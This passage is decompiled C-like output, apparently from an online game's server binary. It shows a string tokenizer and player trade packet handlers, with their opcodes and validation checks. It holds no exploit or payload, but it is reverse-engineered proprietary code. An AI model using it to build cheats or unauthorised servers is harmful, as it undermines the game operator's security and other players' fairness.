[bp-73h]@5 char token_complete; // [sp+1Eh] [bp-72h]@5 char current_quote; // [sp+1Fh] [bp-71h]@5 std::basic_string,std::allocator > *v32; // [sp+20h] [bp-70h]@1 std::vector,std::allocator >,std::allocator,std::allocator > > > *v33; // [sp+24h] [bp-6Ch]@1 unsigned int pos; // [sp+28h] [bp-68h]@5 int len; // [sp+2Ch] [bp-64h]@2 char delimiter; // [sp+30h] [bp-60h]@13 char _Ch[4]; // [sp+34h] [bp-5Ch]@13 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+38h] [bp-58h]@1 std::basic_string,std::allocator > *this; // [sp+3Ch] [bp-54h]@1 std::basic_string,std::allocator > *v40; // [sp+40h] [bp-50h]@1 std::basic_string,std::allocator > *v41; // [sp+44h] [bp-4Ch]@1 char token; // [sp+48h] [bp-48h]@53 void *v43; // [sp+4Ch] [bp-44h]@5 int v44; // [sp+5Ch] [bp-34h]@5 unsigned int v45; // [sp+60h] [bp-30h]@5 char delim_token; // [sp+64h] [bp-2Ch]@69 void *p; // [sp+68h] [bp-28h]@69 int v48; // [sp+78h] [bp-18h]@69 unsigned int v49; // [sp+7Ch] [bp-14h]@69 unsigned int v50; // [sp+80h] [bp-10h]@1 int v51; // [sp+8Ch] [bp-4h]@5 v50 = (unsigned int)&add_delimiter ^ __security_cookie; *(_DWORD *)&__formal[0].dummy[0] = delimiters_preserve; v6 = result->_Myfirst; v7 = str; v41 = delimiters; v32 = str; v33 = result; v40 = quote; this = esc; if ( v6 ) { v8 = result->_Mylast; len = result->_Mylast - v6; if ( len ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v6, v8, &result->baseclass_0._Alval, __formal[0]); operator delete(result->_Myfirst); result->_Myfirst = 0; result->_Mylast = 0; result->_Myend = 0; } v7 = v32; } v9 = 0; pos = 0; current_quote = 0; quoted = 0; v45 = 15; v44 = 0; LOBYTE(v43) = 0; v10 = v7->_Mysize; v51 = 0; token_complete = 0; len = v10; if ( (unsigned int)v10 > 0 ) { while ( 1 ) { if ( v7->_Mysize <= v9 ) std::_String_base::_Xran(&v7->baseclass_0.___u0.baseclass_0); v11 = v7->_Myres; v12 = (int)&v7->_Bx; if ( v11 < 0x10 ) v13 = v12; else v13 = *(_DWORD *)v12; v14 = *(_BYTE *)(v13 + v9); v15 = this->_Mysize == 0; _Ch[0] = *(_BYTE *)(v13 + v9); delimiter = 0; add_char = 1; escaped = 0; if ( !v15 ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find(this, &add_delimiter, 0, 1u) != -1 ) { ++v9; pos = v9; if ( v9 >= len ) { add_char = 0; } else { if ( v32->_Mysize <= v9 ) std::_String_base::_Xran(&v32->baseclass_0.___u0.baseclass_0); if ( v32->_Myres < 0x10 ) { v14 = *(_BYTE *)(v12 + v9); _Ch[0] = *(_BYTE *)(v12 + v9); add_char = 1; } else { v14 = *(_BYTE *)(*(_DWORD *)v12 + v9); _Ch[0] = *(_BYTE *)(*(_DWORD *)v12 + v9); add_char = 1; } } escaped = 1; } } if ( v40->_Mysize ) { if ( !escaped ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find(v40, &add_delimiter, 0, 1u) != -1 ) { if ( !quoted ) { quoted = 1; current_quote = v14; LABEL_30: add_char = 0; goto LABEL_31; } if ( current_quote == v14 ) { quoted = 0; current_quote = 0; goto LABEL_30; } } } } LABEL_31: if ( v41->_Mysize ) { if ( !escaped ) { if ( !quoted ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find(v41, &add_delimiter, 0, 1u) != -1 ) { if ( v44 ) token_complete = 1; add_char = 0; } } } } v15 = *(_DWORD *)(*(_DWORD *)&__formal[0].dummy[0] + 20) == 0; add_delimiter = 0; if ( v15 || escaped || quoted || (escaped = v14, std::basic_string_std::allocator>::find( *(std::basic_string,std::allocator > **)&__formal[0].dummy[0], &escaped, 0, 1u) == -1) ) { if ( add_char == 1 ) { v16 = v43; v17 = v43; if ( v45 < 0x10 ) v17 = &v43; v18 = (int)((char *)v17 + v44); if ( v45 < 0x10 ) v16 = &v43; if ( v18 ) v19 = v18 - (_DWORD)v16; else v19 = 0; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&token, v19, 1u, _Ch[0]); } } else { if ( v44 ) token_complete = 1; delimiter = v14; add_delimiter = 1; } if ( token_complete == 1 && v44 ) { std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( v33, (std::basic_string,std::allocator > *)&token); v20 = v43; if ( v45 < 0x10 ) v20 = &v43; v21 = (int)((char *)v20 + v44); v22 = v43; if ( v45 >= 0x10 ) { v23 = v43; } else { v22 = &v43; v23 = &v43; } if ( v22 ) v24 = v22 - v23; else v24 = 0; if ( v21 ) v25 = v21 - (_DWORD)v22; else v25 = 0; std::basic_string_std::allocator>::erase( (std::basic_string,std::allocator > *)&token, v24, v25); v9 = pos; token_complete = 0; } if ( add_delimiter == 1 ) { v49 = 15; v48 = 0; LOBYTE(p) = 0; LOBYTE(v51) = 1; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&delim_token, 0, 1u, delimiter); std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( v33, (std::basic_string,std::allocator > *)&delim_token); LOBYTE(v51) = 0; if ( v49 >= 0x10 ) operator delete(p); v49 = 15; v48 = 0; LOBYTE(p) = 0; } ++v9; pos = v9; if ( v9 >= len ) { if ( v44 ) std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( v33, (std::basic_string,std::allocator > *)&token); if ( v45 >= 0x10 ) operator delete(v43); break; } v7 = v32; } } __security_check_cookie((unsigned int)&add_delimiter ^ v50); } //----- (0055EE70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_ServerMenuactor_sma_IsReady(int this) { return ServerMenuActor::sma_IsReady((ServerMenuActor *)(this + 68628)); } //----- (0055EE80) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineObject::so_CloseTradeMenu(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // ebp@1 int v5; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_CloseTradeMenu"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_CloseTradeMenu"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2004))(v1); v3 = v2; v4 = *(_DWORD *)v2; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 796))(v1); (*(void (__thiscall **)(int, _DWORD))(v4 + 40))(v3, *(_WORD *)(v5 + 16)); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1568))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1708))(v1, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_CloseTradeMenu"); return v1; } //----- (0055EF50) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 int v6; // eax@5 unsigned __int16 v7; // ax@7 int v8; // edi@10 char v9; // bl@12 signed int v10; // ebx@26 __int16 v11; // bx@35 __int16 v12; // bx@35 int v13; // eax@35 int v14; // eax@35 int v15; // ebx@35 int v16; // ebx@35 char *v17; // eax@35 char v18; // al@35 int v19; // eax@36 char *v20; // [sp+0h] [bp-24h]@8 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v22; // [sp+20h] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; if ( !(_S5_63 & 1) ) { _S5_63 |= 1u; stru_130DF9A8.cmc_AllowMode = 70; atexit(_E6_76); } if ( (1 << **(_BYTE **)(v5 + 3568)) & stru_130DF9A8.cmc_AllowMode ) { v6 = *(_DWORD *)(v5 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 149) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1734); goto LABEL_43; } v7 = *(_WORD *)(netcmd + 2); if ( v7 == *(_WORD *)(v5 + 4) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1730); v22 = -1; --funcallanalizer.fca_stackpoint; v20 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; LABEL_9: FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); return; } v8 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); if ( !v8 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1228))(v8) != 2 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1730); v22 = -1; --funcallanalizer.fca_stackpoint; v20 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"; goto LABEL_9; } v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 2708))(v8, a2); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2708))(v5) != v9 ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4); goto LABEL_14; } if ( !ServerMenuActor::sma_IsReady((ServerMenuActor *)(v5 + 68628)) || !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 2424))(v8) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4); goto LABEL_14; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v8) > 0xF4240 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 4); v22 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( !((1 << (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1152))(v8)) & stru_130DF9A8.cmc_AllowMode) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 4); v22 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 796))(v8) + 6) != -1 || *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 796))(v8) != -1 || *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 6) != -1 || *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) != -1 ) { v10 = -1; } else { v10 = -1; if ( *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 796))(v8) + 8) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 796))(v8) + 2) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 8) == -1 && *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 2) == -1 ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 1700))(v5, 2) || !(unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 1700))(v8, 2) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 4); v22 = -1; goto LABEL_15; } if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1576))(v5) || !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1576))(v8) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 4); v22 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v11 = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v8 + 2004))(v8) + 4); *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v8 + 796))(v8) + 16) = v11; v12 = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5) + 4); *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 796))(v5) + 16) = v12; v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 2004))(v8); ++*(_WORD *)(v13 + 4); v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); ++*(_WORD *)(v14 + 4); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1704))(v5); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 1704))(v8, 2); *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 796))(v5) = *(_WORD *)(netcmd + 2); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 836))(v8); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 796))(v5) + 2) = v15; *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v8 + 796))(v8) + 6) = *(_WORD *)(v5 + 4); v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 796))(v8) + 8) = v16; v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19458; *((_WORD *)v17 + 1) = *(_WORD *)(v5 + 4); v18 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShinePlayer::sp_NC_TRADE_PROPOSE_REQ : Packet Too Long", 4) ) { v19 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 764))(v8); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v8, &gpp); } LABEL_14: v22 = -1; LABEL_15: FunctionEntarance::_FunctionEntarance(&_); return; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 4); v22 = v10; goto LABEL_15; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 4, 1729); LABEL_43: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ"); } // 55EF50: could not find valid save-restore pair for ebp //----- (0055F4C0) -------------------------------------------------------- #error "55F4C0: undefined or illegal type '#593' (funcsize=90)" //----- (0055F610) -------------------------------------------------------- #error "55F610: undefined or illegal type '#593' (funcsize=89)" //----- (0055F760) -------------------------------------------------------- #error "55F760: undefined or illegal type '#593' (funcsize=148)" //----- (0055F9A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 void *v5; // edi@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S13_30 & 1) ) { _S13_30 |= 1u; stru_130DF9C8.cmc_AllowMode = 126; atexit(_E14_25); } if ( (1 << **((_BYTE **)v4 + 892)) & stru_130DF9C8.cmc_AllowMode ) { v5 = *(void **)((char *)v4 + 68579); ShineObjectClass::ShineObject::so_CloseTradeMenu(v4); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 19, 11); if ( v5 ) { ShineObjectClass::ShineObject::so_CloseTradeMenu(v5); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v5 + 772))(v5, 19, 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ"); } } //----- (0055FAE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_tradepropose_timecheck(void *this) { void *v1; // esi@1 int v2; // ecx@1 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v1 + 68579) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); result = 0; } else { if ( *((_DWORD *)v1 + 17143) < clockwatch.cw_CurrTick ) { ShineObjectClass::ShineObject::so_CloseTradeMenu(v1); *((_DWORD *)v1 + 17143) = clockwatch.cw_CurrTick + 600; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_tradepropose_timecheck"); result = 1; } return result; } //----- (0055FBE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_tradebreak(void *this) { void *v1; // esi@1 void *v2; // edi@1 void *v3; // eax@2 void *v4; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_tradebreak"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_tradebreak"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(void **)((char *)v1 + 68579); if ( v2 ) { v3 = ShineObjectClass::ShineObject::so_CloseTradeMenu(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 772))(v3, 19, 12); v4 = ShineObjectClass::ShineObject::so_CloseTradeMenu(v2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 19, 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_tradebreak"); } //----- (0055FCB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // esi@4 int v4; // eax@4 void *v5; // edi@4 int v6; // edi@5 char *v7; // eax@6 int v8; // esi@6 int v9; // ST04_4@6 int v10; // eax@6 char *v11; // [sp+0h] [bp-2Ch]@3 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@6 int v13; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 34913); v13 = 0; if ( v2 && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1152))(v1) == 5 ) { (*(void (**)(void))(**((_DWORD **)v1 + 34913) + 16))(); v3 = **((_DWORD **)v1 + 34913); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2004))(v1); (*(void (__thiscall **)(_DWORD, int))(v3 + 12))(*((_DWORD *)v1 + 34913), v4); **((_BYTE **)v1 + 892) = 1; v5 = (void *)(*((_DWORD *)v1 + 8040) + 29); if ( *((_BYTE *)v1 + 139547) ) { memcpy(v5, (char *)v1 + 139500, 0x2Cu); v6 = (int)((char *)v5 + 44); *(_WORD *)v6 = *((_WORD *)v1 + 69772); *(_BYTE *)(v6 + 2) = *((_BYTE *)v1 + 139546); *((_BYTE *)v1 + 139547) = 0; } (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v1 + 776))(v1, 26, 5, 2625); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26630; *((_WORD *)v7 + 1) = *((_WORD *)v1 + 2); v8 = *((_DWORD *)v1 + 8040) + 29; memcpy(v7 + 4, (const void *)v8, 0x2Cu); v8 += 44; *((_WORD *)v7 + 24) = *(_WORD *)v8; v7[50] = *(_BYTE *)(v8 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 51); v9 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v13) = 1; v10 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v10, v9, 0, 0, (int)&alchat, 0, 65535); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1708))(v1, 2); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; } else { v13 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_CloseStreetBooth"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } //----- (0055FE50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_CloseByLink(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_CloseByLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_CloseByLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_tradebreak(v1); ShineObjectClass::ShinePlayer::sp_partylogout(v1); ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_CloseByLink"); } // 53EF30: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_partylogout(_DWORD); //----- (0055FF00) -------------------------------------------------------- void __thiscall TradeBoard::tb_Clear(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 18) = 0; *(_DWORD *)((char *)v1 + 22) = 0; *(_DWORD *)((char *)v1 + 6) = -1; *(_DWORD *)((char *)v1 + 10) = -1; *(_DWORD *)((char *)v1 + 14) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Clear"); } //----- (0055FF70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_TradeBoardUnlock(int this, int a2) { char result; // al@1 int v3; // eax@2 result = *(_BYTE *)(this + 68583); if ( result ) { v3 = *(_DWORD *)this; *(_BYTE *)(this + 68583) = 0; (*(void (__stdcall **)(signed int, signed int))(v3 + 772))(19, 29); result = (*(int (__stdcall **)(signed int, signed int))(*(_DWORD *)a2 + 772))(19, 30); } return result; } //----- (0055FFA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 unsigned int v6; // ecx@13 unsigned int v7; // eax@13 char *v8; // edi@15 char v9; // al@15 int v10; // eax@16 char v11; // al@17 int v12; // eax@18 signed int v13; // [sp+0h] [bp-24h]@6 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S5_64 & 1) ) { _S5_64 |= 1u; stru_130DF9D0.cmc_AllowMode = 126; atexit(_E6_77); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & stru_130DF9D0.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); return; } v5 = *(_DWORD *)(v4 + 68579); if ( !v5 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Not activ", 0); v13 = 2114; LABEL_7: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 22, v13); LABEL_8: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ"); return; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68579)) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); goto LABEL_8; } if ( *(_BYTE *)(v4 + 68583) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Locked", *(_BYTE *)(v4 + 68583) == 0); v13 = 2115; goto LABEL_7; } v6 = *(_DWORD *)(netcmd + 6); v7 = *(_DWORD *)(netcmd + 2); if ( __PAIR__(v6, v7) <= *(_QWORD *)(v4 + 32221) ) { *(_DWORD *)(v4 + 68601) = v6; *(_DWORD *)(v4 + 68597) = v7; (*(void (__thiscall **)(int, int))(*(_DWORD *)v5 + 2000))(v5, v4); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19479; *(_DWORD *)(v8 + 2) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v8 + 6) = *(_DWORD *)(netcmd + 6); v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Packet Too Long", 10) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } *(_WORD *)v8 = 19480; *(_DWORD *)(v8 + 2) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v8 + 6) = *(_DWORD *)(netcmd + 6); v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Packet Too Long", 10) ) { v12 = (*(int (**)(void))(**(_DWORD **)(v4 + 68579) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, *(_DWORD *)(v4 + 68579), &gpp); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ : Upboarding too many money", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 22, 2120); } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00560240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edx@6 int v6; // ecx@6 int v7; // eax@9 signed int v8; // [sp+0h] [bp-1Ch]@6 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"; 